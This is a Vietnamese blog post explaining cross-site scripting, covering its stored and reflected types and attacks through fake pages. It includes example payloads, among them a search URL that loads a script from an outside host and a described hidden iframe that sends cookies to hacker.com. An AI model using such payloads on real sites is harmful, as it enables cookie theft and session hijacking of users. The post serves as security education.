Trang

Thứ Năm, 18 tháng 7, 2013

Kĩ thuật tấn công CROSS-SITE SCRIPTING (XSS) [Bảo mật]

Cross-Site Scripting là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.


I. XSS là gỉ?

- Cross-Site Scripting được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML).

- XSS hack website bằng cách chèn vào các url (đường link), chèn qua các thanh tìm kiếm (search) hoặc chèn ở bất cứ 1 textbox nào (comment, góp ý, đánh giá...) những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim (trộm cookie) hoặc thực hiện những mệnh lệnh gây nguy hại cho những người sử dụng khác (chèn virus, Trojan, backdoor).

- Những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và các thẻ HTML

II. XSS hoạt động như thế nào?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, đó là những câu lệnh được Hacker chèn vào các đường link, các form search, hay các form comment, góp ý. Do không có sự kiểm soát dữ liệu do người dùng gửi lên server, nên các câu lệnh này sẽ được lưu vào database và khi nó được hiển thị trên web, nó trở thành một thành phần của ngôn ngữ lập trình như HTML, JavaScript...Khi đó nó sẽ chạy các lệnh mà các Hacker đã lập trình.

Ví dụ:


Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

Ví dụ:

Hacker sẽ chèn vào đường link một file script như sau:

http://www.meoi.vn/search.php?keyword=<script src=http://long.nhatnghe.vn/xss/xss2.js></script>

Nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.

Tóm lại: XSS tấn công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion, chèn virut… từ đó có thể đăng nhập chiếm quyền điều khiển website hoặc gây nguy hại cho người dùng.

III. Phân loại lỗi XSS

1. Stored-XSS

Là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log. Ví dụ dưới đây minh họa cho Stored-XSS. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau:



Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:

Xin <script>alert(“XSS”)</script>chào!

Kết quả:



Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database nên bất cứ người dùng nào khi truy cập vào trang web này sẽ thực thi đoạn mã trên. Thay vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác nhằm gây hại đến người dùng.

Ví dụ:
Thay vì alert("XSS") như trên, Hacker sẽ chèn đoạn script như bên dưới


Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie, hacker có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

Kiểu tấn công này thường gây hại cho người dùng

2. Reflected-XSS: (phản hồi XSS)

Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:



Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, Hacker thể chèn thêm đoạn mã gây hại vào. Đường link sẽ có dạng:

http://www.example.com/search.php?q=<script>alert(“XSS”)</script>

Tuy nhiên đoạn mã độc hại này chỉ được kích hoạt  khi nạn nhân click đường link trên.

Do vậy, cách mà Hacker sử dụng lỗi này để tấn công người dùng đó là làm sao để người đó click vào các link chứa mã độc này.

IV. Tấn công XSS bằng trang web giả mạo

Với các lỗi XSS ở trên, Hacker sẽ phải kiểm tra lỗi XSS ở các trang web, sau đó là chèn các loại mã độc để trộm cooie, session, chèn virut... Rồi sau đó dụ dỗ người dùng click vào link có chứa mã độc đó (người dùng sẽ thấy link quen thuộc nên click vào). Hoặc website sẽ chạy một đoạn mã độc đã được lưu vào database thông qua các comment của Hacker để lại. Kết quả khi người dùng chạy trang web đó hay click vào link đó sẽ bị trộm cookie, session, hay được đưa đến một trang web có chứa mã độc của Hacker. Tất cả những điều trên Hacker đều phải thực hiện trên website của người khác.

Hãy thử tưởng tượng xem nếu Hacker chủ động làm một trang web giả mạo, hay một đường link lạ hoắc mà ẩn trong đó là mã độc. Đặc biệt là các trang web sex hay những link hấp dẫn người dùng click vào, thì khả năng bị mất cookie, session hay bị chèn mã độc rất là cao. Do vậy chớ nên click vào các đường link lạ hay vào các trang web sex.

1 nhận xét: